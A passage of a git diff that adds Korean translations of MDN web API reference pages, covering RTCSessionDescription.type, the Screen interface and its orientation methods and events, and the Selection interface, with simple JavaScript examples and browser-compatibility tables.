+
+<pre class="syntaxbox">var <em>value</em> = <em>sessionDescription</em>.type;
+<em>sessionDescription</em>.type = value;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>RTCSdpType</code> 타입의 열거체에 사용 가능한 값들이 정의되어 있습니다.</p>
+
+<p>아래는 사용 가능한 값들입니다:</p>
+
+<ul>
+ <li><code>"offer"</code>, offer 혹은 answer 교환 과정에서 처음으로 제안된 세션 설명입니다.</li>
+ <li><code>"answer"</code>, offer 혹은 answer 교환 과정에서 채택한 세션 설명입니다.</li>
+ <li><code>"pranswer"</code>, 임시로 지정한 answer 입니다. 이 세션 설명 값은 채택한 값이 존재하면 변할 수도 있습니다.</li>
+ <li>"<code>rollback</code>", 가장 최근의 안정적인 상태의 offer 혹은 answer 상태로 되돌아가라는 세션 설명입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// The remote description has been set previously on pc, a RTCPeerconnection
+
+alert(pc.remoteDescription.type);
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-type', 'RTCSessionDescription.type') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription.type")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/screen.onorientationchange/index.html b/files/ko/web/api/screen.onorientationchange/index.html
new file mode 100644
index 0000000000..dc1a76013f
--- /dev/null
+++ b/files/ko/web/api/screen.onorientationchange/index.html
@@ -0,0 +1,85 @@
+---
+title: window.screen.onorientationchange
+slug: Web/API/Screen.onorientationchange
+translation_of: Web/API/Screen/onorientationchange
+---
+<p>{{ ApiRef() }}</p>
+<p>{{SeeCompatTable}}</p>
+<h2 id="Summary" name="Summary">Summary</h2>
+<p>{{ event("orientationchange")}} 이벤트를 화면 객체로 보내는 이벤트 핸들러이다.</p>
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+<pre>screen.onorientationchange = <em>funcRef</em>;
+</pre>
+<p><code>funcRef</code> 는 함수로의 참조 이다.</p>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Screen Orientation')}}</td>
+ <td>{{Spec2('Screen Orientation')}}</td>
+ <td>Draft specification.</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h3 id="Notes" name="Notes">Gecko notes</h3>
+<p>이 API 는 현재 초안형태이다. 오직 B2G 와 안드로이드용 Firefox 에서 prefixed method (<code>onmozorientationchange</code>) 형태로만 구현된다.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{ event("orientationchange") }}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/index.html b/files/ko/web/api/screen/index.html
new file mode 100644
index 0000000000..74772f16d3
--- /dev/null
+++ b/files/ko/web/api/screen/index.html
@@ -0,0 +1,76 @@
+---
+title: Screen
+slug: Web/API/Screen
+tags:
+ - API
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>The <code>Screen</code> interface represents a screen, usually the one on which the current window is being rendered.</p>
+
+<p>Usually it is the one on which the current window is being rendered, obtained using <code>window.screen</code>.</p>
+
+<h2 id="Example" name="Example">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Returns the first available pixel available from the left side of the screen.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Returns the amount of horizontal space in pixels available to the window.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Returns the color depth of the screen.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Returns the height of the screen in pixels.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Returns the distance in pixels from the left side of the main screen to the left side of the current screen.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Returns the current orientation of the screen.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Gets the bit depth of the screen.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Returns the distance in pixels from the top side of the current screen.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Returns the width of the screen.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Boolean. Setting to false will turn off the device's screen.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.</dd>
+</dl>
+
+<h3 id="Events_handler">Events handler</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>A handler for the {{event("orientationchange")}} events.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Lock the screen orientation (only works in fullscreen or for installed apps)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Unlock the screen orientation (only works in fullscreen or for installed apps)</dd>
+</dl>
+
+<p>Methods inherit from {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+ // use low-color version of page
+} else {
+ // use regular, colorful page
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>CSSOM View</p>
diff --git a/files/ko/web/api/screen/lockorientation/index.html b/files/ko/web/api/screen/lockorientation/index.html
new file mode 100644
index 0000000000..856bfb5010
--- /dev/null
+++ b/files/ko/web/api/screen/lockorientation/index.html
@@ -0,0 +1,92 @@
+---
+title: Screen.lockOrientation
+slug: Web/API/Screen/lockOrientation
+translation_of: Web/API/Screen/lockOrientation
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<div>{{Deprecated_header}}</div>
+
+<p><code>lockOrientation</code> 함수는 지정된 방향으로 화면을 고정시킨다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 오직 설치된 웹앱 또는 <a href="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode" title="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> 의 웹페이지에서만 동작한다..</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var locked = window.screen.lockOrientation(<em>orientation</em>);
+</pre>
+
+<h3 id="Example" name="Example">Parameters</h3>
+
+<dl>
+ <dt><em>orientation</em></dt>
+ <dd>화면을 고정 시킬 방향. 문자열 또는 문자열의 배열이다. 여러 문자열을 지정하면 지정한 방향으로만 회전된다.</dd>
+</dl>
+
+<p>다음의 문자열들은 당신이 지정할 수 있는 방향들을 나타낸다.</p>
+
+<dl>
+ <dt><code>portrait-primary</code></dt>
+ <dd>기본 세로 모드 일 때 화면의 방향을 나타낸다. 화면은 화면이 정상위치 (normal position)가 세로이고 세로로 고정 되어 있으면 기본 세로 모드 (primary portrait mode) 로 간주 된다. 만약 장치의 정상위치 (normal position)가 가로 모드 이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</dd>
+ <dt><code>portrait-secondary</code></dt>
+ <dd>보조 세로 모드 일 때 화면의 방향을 나타낸다.  화면은 정상위치에서 180<span style="line-height: inherit;">° 로 고정 되어 있을 때 </span><span style="line-height: inherit;">보조 세로 모드로 간주된다. 만약 정상위치가 가로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</span></dd>
+ <dt><code>landscape-primary</code></dt>
+ <dd>기본 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치 (normal position)가 가로이고 가로로 고정 되어 있으면 <span style="line-height: inherit;">기본 가로 모드 (primary landscape mode) 로 </span><span style="line-height: inherit;">간주된다. 만약 장치의 정상위치 (normal position)가 세로이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</span></dd>
+ <dt><code>landscape-secondary</code></dt>
+ <dd>보조 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 가로 모드 (secondary landscape mode) 로 간주된다. 또는 정상위치가 세로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</dd>
+ <dt><code>portrait</code></dt>
+ <dd><code>portrait-primary</code> 와 <code>portrait-secondary 둘 다 이다.</code></dd>
+ <dt><code>landscape</code></dt>
+ <dd><code>landscape-primary</code> 와 <code>landscape-secondary 둘 다 이다.</code></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 한번에 여러개의 고정 값을 가질 수 있다. 만약 한방향으로만 설정 하면 화면의 방향은 unlock 하기 전 까지는 절대로 변하지 않는다. 그렇지 않다면 (여러값을 가진 다면) 지정 된 방향들로 화면의 방향이 변할 것이다.</p>
+</div>
+
+<h3 id="Example" name="Example">Return value</h3>
+
+<p>성공적으로 고정 되었을 경우 <code>true</code> 를 반환한다. 고정 될 수 없다면 <code>false</code> 를 반환한다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="eval">if (window.screen.mozLockOrientation("landscape-primary")) {
+ // orientation was locked
+} else {
+ // orientation lock failed
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+ <td>{{ Spec2('Screen Orientation') }}</td>
+ <td>Draft specification</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Screen.lockOrientation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.unlockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/orientation/index.html b/files/ko/web/api/screen/orientation/index.html
new file mode 100644
index 0000000000..d77c14e6cb
--- /dev/null
+++ b/files/ko/web/api/screen/orientation/index.html
@@ -0,0 +1,120 @@
+---
+title: Screen.orientation
+slug: Web/API/Screen/orientation
+translation_of: Web/API/Screen/orientation
+---
+<p>{{APIRef("CSSOM View")}} {{SeeCompatTable}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p><code>orientation</code> 속성은 화면의 현재 방향을 알려 준다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 설치된 웹앱 또는 <a href="/ko/docs/Web/Guide/DOM/Using_full_screen_mode" style="line-height: 1.5em;" title="/ko/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> <span style="line-height: 1.5em;">의 웹페이지에서 동작한다.</span></p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var orientation = window.screen.orientation;
+</pre>
+
+<h2 id="Example" name="Example">Return value</h2>
+
+<p>리턴값은 화면의 방향을 표현하는 문자열이다. portrait-primary, portrait-secondary, landscape-primary, landscape-secondary 가 될 수 있다. (각 값들에 대해 좀 더 많은 정보를 구하려면 {{domxref("window.screen.lockOrientation","lockOrientation")}} 를 보라.).</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var orientation = screen.mozOrientation;
+
+if (orientation === "landscape-primary") {
+ console.log("That looks good.");
+} else if (orientation === "landscape-secondary") {
+ console.log("Mmmh... the screen is upside down!");
+} else if (orientation === "portrait-secondary" || orientation === "portrait-secondary") {
+ console.log("Mmmh... you should rotate your device");
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+ <td>{{ Spec2('Screen Orientation') }}</td>
+ <td>Draft specification</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes" name="Notes">Gecko notes</h3>
+
+<p>이 API 는 현재 초안 형태이다. 이것은 오직 <span style="line-height: inherit;">B2G 와 안드로이드용 Firefox 에서 </span><span style="line-height: inherit;">prefixed 함수인 (mozOrientation) 로만 구현된다.</span></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.unlockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/unlockorientation/index.html b/files/ko/web/api/screen/unlockorientation/index.html
new file mode 100644
index 0000000000..bf4d3eb4d5
--- /dev/null
+++ b/files/ko/web/api/screen/unlockorientation/index.html
@@ -0,0 +1,62 @@
+---
+title: window.screen.unlockOrientation
+slug: Web/API/Screen/unlockOrientation
+translation_of: Web/API/Screen/unlockOrientation
+---
+<div>{{APIRef("CSSOM View")}}{{Deprecated_header}}</div>
+
+<p><strong><code>Screen.unlockOrientation()</code></strong> 함수는 이전의 page나 앱을 통해 지정한 화면 고정 값들을 모두 제거 한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 설치된 웹앱 또는 <a href="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode" title="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> 의 웹 페이지들에서 동작한다..</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var unlocked = window.screen.unlockOrientation();
+</pre>
+
+<h3 id="Example" name="Example">Return value</h3>
+
+<p>성공적으로 unlocked 된 경우 <code>true</code> 를 반환하며, 만약 방향이 unlock 될 수 없다면 <code>false</code> 를 반환한다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="eval">if (window.screen.unlockOrientation()) {
+ // orientation was unlocked
+} else {
+ // orientation unlock failed
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+ <td>{{ Spec2('Screen Orientation') }}</td>
+ <td>Draft specification</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Screen.unlockOrientation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.lockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/en-US/docs/Managing_screen_orientation" title="/en-US/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/selection/index.html b/files/ko/web/api/selection/index.html
new file mode 100644
index 0000000000..a78be04801
--- /dev/null
+++ b/files/ko/web/api/selection/index.html
@@ -0,0 +1,209 @@
+---
+title: selection
+slug: Web/API/Selection
+tags:
+ - API
+ - Experimental
+ - Interface
+ - Reference
+ - Selection
+translation_of: Web/API/Selection
+---
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+
+<p>A <code><strong>Selection</strong></code> object represents the range of text selected by the user or the current position of the caret. To obtain a <code>Selection</code> object for examination or manipulation, call {{DOMxRef("window.getSelection()")}}.</p>
+
+<p>A user may make a selection from left to right (in document order) or right to left (reverse of document order). The <strong><dfn>anchor</dfn></strong> is where the user began the selection and the <strong><dfn>focus</dfn></strong> is where the user ends the selection. If you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.</p>
+
+<div class="blockIndicator note">
+<p><em>Anchor</em> and <em>focus</em> should not be confused with the <em>start</em> and <em>end</em> positions of a selection. The anchor can be placed before the focus or vice-versa, depending on the direction you made your selection.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("Selection.anchorNode")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the {{DOMxRef("Node")}} in which the selection begins. Can return <code>null</code> if selection never existed in the document (e.g., an iframe that was never clicked on).</dd>
+ <dt>{{DOMxRef("Selection.anchorOffset")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the <code>anchorNode</code>. If <code>anchorNode</code> is a text node, this is the number of characters within anchorNode preceding the anchor. If <code>anchorNode</code> is an element, this is the number of child nodes of the <code>anchorNode</code> preceding the anchor.</dd>
+ <dt>{{DOMxRef("Selection.focusNode")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the {{DOMxRef("Node")}} in which the selection ends. Can return <code>null</code> if selection never existed in the document (for example, in an <code>iframe</code> that was never clicked on).</dd>
+ <dt>{{DOMxRef("Selection.focusOffset")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the <code>focusNode</code>. If <code>focusNode</code> is a text node, this is the number of characters within <code>focusNode</code> preceding the focus. If <code>focusNode</code> is an element, this is the number of child nodes of the <code>focusNode</code> preceding the focus.</dd>
+ <dt>{{DOMxRef("Selection.isCollapsed")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a Boolean indicating whether the selection's start and end points are at the same position.</dd>
+ <dt>{{DOMxRef("Selection.rangeCount")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the number of ranges in the selection.</dd>
+ <dt>{{DOMxRef("Selection.type")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a {{DOMxRef("DOMString")}} describing the type of the current selection.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{DOMxRef("Selection.addRange()")}}</dt>
+ <dd>A {{DOMxRef("Range")}} object that will be added to the selection.</dd>
+ <dt>{{DOMxRef("Selection.collapse()")}}</dt>
+ <dd>Collapses the current selection to a single point.</dd>
+ <dt>{{DOMxRef("Selection.collapseToEnd()")}}</dt>
+ <dd>Collapses the selection to the end of the last range in the selection.</dd>
+ <dt>{{DOMxRef("Selection.collapseToStart()")}}</dt>
+ <dd>Collapses the selection to the start of the first range in the selection.</dd>
+ <dt>{{DOMxRef("Selection.containsNode()")}}</dt>
+ <dd>Indicates if a certain node is part of the selection.</dd>
+ <dt>{{DOMxRef("Selection.deleteFromDocument()")}}</dt>
+ <dd>Deletes the selection's content from the document.</dd>
+ <dt>{{DOMxRef("Selection.empty()")}}</dt>
+ <dd>Removes all ranges from the selection. This is an alias for <code>removeAllRanges()</code> — See {{DOMxRef("Selection.removeAllRanges()")}} for more details.</dd>
+ <dt>{{DOMxRef("Selection.extend()")}}</dt>
+ <dd>Moves the focus of the selection to a specified point.</dd>
+ <dt>{{DOMxRef("Selection.getRangeAt()")}}</dt>
+ <dd>Returns a {{DOMxRef("Range")}} object representing one of the ranges currently selected.</dd>
+ <dt>{{DOMxRef("Selection.modify()")}}{{Non-standard_Inline}}</dt>
+ <dd>Changes the current selection.</dd>
+ <dt>{{DOMxRef("Selection.removeRange()")}}</dt>
+ <dd>Removes a range from the selection.</dd>
+ <dt>{{DOMxRef("Selection.removeAllRanges()")}}</dt>
+ <dd>Removes all ranges from the selection.</dd>
+ <dt>{{DOMxRef("Selection.selectAllChildren()")}}</dt>
+ <dd>Adds all the children of the specified node to the selection.</dd>
+ <dt>{{DOMxRef("Selection.setBaseAndExtent()")}}</dt>
+ <dd>Sets the selection to be a range including all or parts of two specified DOM nodes, and any content located between them.</dd>
+ <dt>{{DOMxRef("Selection.setPosition()")}}</dt>
+ <dd>Collapses the current selection to a single point. This is an alias for <code>collapse()</code> — See {{DOMxRef("Selection.collapse()")}} for more details.</dd>
+ <dt>{{DOMxRef("Selection.toString()")}}</dt>
+ <dd>Returns a string currently being represented by the selection object, i.e. the currently selected text.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="String_representation_of_a_selection">String representation of a selection</h3>
+
+<p>Calling the {{DOMxRef("Selection.toString()")}} method returns the text contained within the selection, e.g.:</p>
+
+<pre class="brush: js notranslate">var selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<p>Note that using a selection object as the argument to <code>window.alert</code> will call the object's <code>toString</code> method.</p>
+
+<h3 id="Multiple_ranges_in_a_selection">Multiple ranges in a selection</h3>
+
+<p>A selection object represents the {{DOMxRef("Range")}}s that the user has selected. Typically, it holds only one range, accessed as follows:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js notranslate"><code>var selObj = window.getSelection();
+var range = selObj.getRangeAt(0);</code></pre>
+</div>
+
+<ul>
+ <li><code><var>selObj</var></code> is a Selection object</li>
+ <li><code><var>range</var></code> is a {{DOMxRef("Range")}} object</li>
+</ul>
+
+<p>As the <a href="http://www.w3.org/TR/selection-api/#h_note_15">Selection API specification notes</a>, the Selection API was initially created by Netscape and allowed multiple ranges (for instance, to allow the user to select a column from a {{HTMLElement("table")}}). However, browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.</p>
+
+<h3 id="Selection_and_input_focus">Selection and input focus</h3>
+
+<p>Selection and input focus (indicated by {{DOMxRef("Document.activeElement")}}) have a complex relationship that varies by browser. In cross-browser compatible code, it's better to handle them separately.</p>
+
+<p>Safari and Chrome (unlike Firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=14383">W3C bug 14383</a> and {{WebKitBug("38696")}}).</p>
+
+<h3 id="Behavior_of_Selection_API_in_terms_of_editing_host_focus_changes">Behavior of Selection API in terms of editing host focus changes</h3>
+
+<p>The Selection API has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for <dfn>editing hosts</dfn> after certain methods are called.</p>
+
+<p>The behavior is as follows:</p>
+
+<ol>
+ <li>An editing host gains focus if the previous selection was outside of it.</li>
+ <li>A Selection API method is called, causing a new selection to be made with the selection range inside the editing host.</li>
+ <li>Focus then moves to the editing host.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: The Selection API methods may only move focus to an editing host, not to other focusable elements (e.g., {{HTMLElement("a")}}).</p>
+</div>
+
+<p>The above behavior applies to selections made using the following methods:</p>
+
+<ul>
+ <li>{{DOMxRef("Selection.collapse()")}}</li>
+ <li>{{DOMxRef("Selection.collapseToStart()")}}</li>
+ <li>{{DOMxRef("Selection.collapseToEnd()")}}</li>
+ <li>{{DOMxRef("Selection.extend()")}}</li>
+ <li>{{DOMxRef("Selection.selectAllChildren()")}}</li>
+ <li>{{DOMxRef("Selection.addRange()")}}</li>
+ <li>{{DOMxRef("Selection.setBaseAndExtent()")}}</li>
+</ul>
+
+<p>And when the {{DOMxRef("Range")}} is modified using the following methods:</p>
+
+<ul>
+ <li>{{DOMxRef("Range.setStart()")}}</li>
+ <li>{{DOMxRef("Range.setEnd()")}}</li>
+ <li>{{DOMxRef("Range.setStartBefore()")}}</li>
+ <li>{{DOMxRef("Range.setStartAfter()")}}</li>
+ <li>{{DOMxRef("Range.setEndBefore()")}}</li>
+ <li>{{DOMxRef("Range.setEndAfter()")}}</li>
+ <li>{{DOMxRef("Range.collapse()")}}</li>
+ <li>{{DOMxRef("Range.selectNode()")}}</li>
+ <li>{{DOMxRef("Range.selectNodeContents()")}}</li>
+</ul>
+
+<h3 id="Glossary">Glossary</h3>
+
+<p>Other key terms used in this section.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.</dd>
+ <dt>editing host</dt>
+ <dd>An editable element (e.g., an HTML element with {{htmlattrxref("contenteditable")}} set, or the HTML child of a document that has {{DOMxRef("Document.designMode", "designMode")}} enabled).</dd>
+ <dt>focus of a selection</dt>
+ <dd>The <dfn>focus</dfn> of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves.
+ <div class="note">This is not the same as the focused <em>element</em> of the document, as returned by {{DOMxRef("document.activeElement")}}.</div>
+ </dd>
+ <dt>range</dt>
+ <dd>A <dfn>range</dfn> is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes (such as a portion of a text node). A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g., by using the <kbd>Control</kbd> key). A range can be retrieved from a selection as a {{DOMxRef("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selection API", "#selection-interface", "Selection")}}</td>
+ <td>{{Spec2("Selection API")}}</td>
+ <td>The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Selection")}}</p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
